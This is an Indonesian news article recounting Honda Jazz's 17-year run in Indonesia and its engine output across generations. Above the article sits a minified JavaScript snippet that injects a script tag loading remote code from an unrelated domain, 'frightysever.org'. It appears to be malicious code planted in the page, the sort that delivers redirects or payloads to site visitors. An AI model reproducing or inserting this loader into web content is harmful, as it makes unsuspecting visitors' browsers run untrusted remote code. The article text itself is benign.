(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Otomotif

Pamit Undur Diri, Begini Riwayat Perjalanan si Mungil tapi Kece Honda Jazz

KANALKALIMANTAN.COM – Awal Maret 2021 menjadi waktu di mana salah satu mobil yang cukup berpengaruh di Tanah Air, Honda Jazz pamit undur diri, menyusul kedatangan Honda City Hatchback.

Melenggang di jalanan Indonesia selama 17 tahun, bisa dibilang mobil ini pernah membuat persaingan mobil hatchback di tanah air cukup panas.

Pesaing berat dari Toyota Yaris ini dulunya menapakkan roda pertama kali di tahun 2003, menjadi musuh berat mobil non Jepang, seperti Chevrolet Aveo, Peugeot 206 dan Volkswagen Golf.

Mobil tersebut datang dengan mesin berkapasitas 1,5 liter yang dilengkkapi fitur iDSI (Intelligent-Duel Sequential Iqnition).

Mesin ini mampu menghasilkan tenaga 87 PS serta torsi puncak 128 Nm.

Setelah beberapa waktu, mobil ini mendapat pembaruan mesin. Fitur khas VTEC mulai disematkan, membaut tenaga mobil ini kian ‘nonjok’ hingga 110 PS plus torsi 143 Nm.

Ilustrasi Honda Jazz generasi lawas. (Shutterstock).

Pada generasi kedua, terdapat sederet ubahan mulai dari sektor eksterior hingga interior.

Performanya pun juga meningkat, tenaga 120 PS plus torsi 145 Nm pun didapat.

Beranjak ke generasi ketiga, lagi-lagi perombakan besar muncul di tahun 2014.

Lampu LED yang dilengkapi proyektor plus DRL pun tersemat, membuat tampilan mobil ini kian ganteng.

Honda Jazz generasi ketiga saat diluncurkan di Jakarta, Kamis (26/6/2014). [Suara.com/Deny Yuliansari]

Mesin mobil ini juga kian bertenaga. Di atas kertas, mobil yang berbagi basis mesin dengan Honda Mobilio ini mampu mengasilkan tenaga 122 PS plus torsi 145 Nm.

Mobil inilah yang bertahan hingga kini si mungil pamit undur diri dari persaingan ketat di Indonesia.

Siapa yang masih punya Honda Jazz di garasi, nih? (suara.com)